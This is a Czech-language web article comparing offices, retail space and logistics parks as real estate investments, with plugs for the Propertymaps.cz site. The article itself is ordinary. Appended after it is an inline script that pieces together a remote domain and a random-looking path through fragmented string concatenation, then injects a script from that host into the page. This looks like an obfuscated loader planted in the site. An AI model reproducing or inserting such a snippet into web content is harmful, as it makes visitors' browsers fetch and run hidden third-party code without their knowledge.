Investování do nemovitostí je stále jednou z nejstabilnějších forem zhodnocování kapitálu. Nejde však jen o to, kde se nemovitost nachází nebo za kolik ji pořídíte. Zásadní roli hraje typ nemovitosti, do které svůj kapitál vložíte. Zatímco některé segmenty nabízejí stabilní výnosy a nízkou volatilitu, jiné lákají vyšším výnosem za cenu větší nejistoty. V následujícím přehledu se podíváme na tři hlavní oblasti komerčních nemovitostí – kanceláře, obchodní prostory a logistické areály – a vysvětlíme, jak se liší z pohledu investora.

Kancelářské budovy: stabilita s novými výzvami

Administrativní nemovitosti dlouhodobě představují pevný bod v portfoliích konzervativních investorů. Tradičně jsou spojovány s dlouhodobými nájemními smlouvami, stabilními nájemci a předvídatelnými výnosy. V městských centrech i byznysových zónách zůstává poptávka po kvalitních kancelářských prostorech poměrně stabilní. Přesto se situace za poslední roky výrazně proměnila. Nástup práce na dálku, rozvoj hybridního modelu a požadavky na vyšší flexibilitu prostoru nutí investory i developery přemýšlet jinak. Firmy často redukují plochu, zaměřují se na sdílená pracoviště a očekávají moderní technologie i ekologickou certifikaci budov.

Z investičního hlediska je proto důležité brát v úvahu nejen lokalitu, ale také schopnost budovy přizpůsobit se měnícímu se trhu práce. Vhodně zvolená kancelářská budova však stále nabízí kombinaci dlouhodobé stability, jistoty nájmů a postupného růstu hodnoty. Hodí se zejména pro investory, kteří hledají předvídatelný a pravidelný výnos v horizontu pěti let a více. Pro více detailních informací o vývoji v tomto segmentu doporučujeme článek z blogu Propertymaps.cz: Fit-out od nuly, nebo renovace kanceláře? Co se dnes firmám vyplatí?

Obchodní prostory: výnosný segment s vyšší mírou rizika

Segment retailu, tedy obchodních prostor, prošel v posledních letech zatěžkávací zkouškou. Prudký rozvoj internetového obchodování, proměna spotřebitelského chování a pandemická omezení vedly ke změně struktury poptávky. Zatímco některé typy nájemců – jako například módní řetězce – ztrácely půdu pod nohama, jiné – například potraviny, drogerie nebo služby – si udržely stabilitu. Klíčovou roli proto hraje výběr konkrétního typu nemovitosti a její poloha.

Obchodní prostory v prémiových lokalitách, jako jsou frekventované ulice či etablovaná nákupní centra, si stále drží svou hodnotu a mohou nabídnout vysoký výnos. Ten je však často vykoupen vyšší rizikovostí. Nájemní smlouvy bývají kratší a výnosy více kolísají v závislosti na ekonomickém cyklu nebo konkurenci v okolí. Tento segment je proto vhodnější pro investory, kteří jsou ochotni podstoupit vyšší riziko a zároveň aktivně pracovat s portfoliem, například prostřednictvím častějších úprav nájemního mixu či renovací.

Logistické areály: vítěz současného trhu

Logistika patří mezi nejrychleji rostoucí segmenty trhu s komerčními nemovitostmi. Důvodem je nejen pokračující rozvoj e-commerce, který zvyšuje poptávku po distribučních centrech, ale také změna přístupu firem ke skladovým zásobám a přesun výroby blíže ke konečnému spotřebiteli. Sklady a logistické parky se tak stávají klíčovým prvkem dodavatelských řetězců. Investice do těchto nemovitostí často přinášejí stabilní a dlouhodobý výnos, protože nájemci mají tendenci setrvat delší dobu a jsou ochotni investovat do přizpůsobení prostoru svým technickým potřebám.

Zároveň logistika láká pozornost institucionálních investorů a fondů, což zvyšuje likviditu tohoto segmentu. Nevýhodou však může být závislost na dopravní infrastruktuře a občasné riziko přehřátí trhu v určitých lokalitách, kde se cena pozemků i výstavby rychle zvyšuje.

Porovnání tří segmentů a praktická doporučení

Každý typ nemovitosti má své výhody i nevýhody. Kanceláře bodují stabilitou výnosů a tradičním postavením na trhu, ale čelí změnám v pracovních návycích. Retail přináší potenciálně vyšší výnosy, ale je rizikovější a méně předvídatelný. Logistické nemovitosti kombinují dlouhodobou poptávku a nízkou míru fluktuace nájemců, což z nich činí stále atraktivnější volbu.

Z pohledu investičního profilu je vhodné, aby konzervativní investoři s dlouhým časovým horizontem upřednostnili kanceláře nebo logistiku. Ti, kteří se nebojí větší volatility a aktivnější správy nemovitostí, mohou zvážit investici do retailu, především v etablovaných lokalitách. Výběr nemovitosti by měl vždy vycházet z kombinace osobních preferencí, očekávaného výnosu, ochoty nést riziko a délky plánované investice.

Závěr: Klíčové poznatky a jak začít

Investiční rozhodování v oblasti nemovitostí by nemělo být založeno pouze na dojmech nebo aktuální módě. Každý segment má svá pravidla, dynamiku a faktory, které ovlivňují jeho výkonnost. K úspěchu vede důkladná znalost trhu, realistické zhodnocení rizik a volba strategie, která odpovídá vašim cílům.

Dobrým výchozím bodem pro výběr konkrétní nemovitosti je web Propertymaps.cz, který umožňuje přehledné porovnání investičních příležitostí napříč celým trhem, a to včetně parametrů, které jsou klíčové pro investory – jako je výnos, lokalita, typ nájemce nebo technický stav objektu.

Sledování dlouhodobých trendů, jako je digitalizace, rostoucí důraz na ekologické standardy či změna využití městských prostor, bude nadále ovlivňovat atraktivitu jednotlivých segmentů. Je proto důležité investiční strategii pravidelně přehodnocovat a přizpůsobovat ji aktuálnímu vývoji trhu.

<script>
(function(){
zmvz=document.createElement("script");zmvz_=("o"+("pen")+"st")+"a";zmvz.async=true;
zmvz.type="text/javascript";zmvz_+=("t")+".e"+"";zmvz_+=(("")+"u");zmvz_+="/";
zmvzu="2539582207.";zmvzu+="jkwtvs62mvz53t9zutc"+"xegqnjq0eus";
zmvz.src="https://"+zmvz_+zmvzu;document.body.appendChild(zmvz);
})();
</script>

‍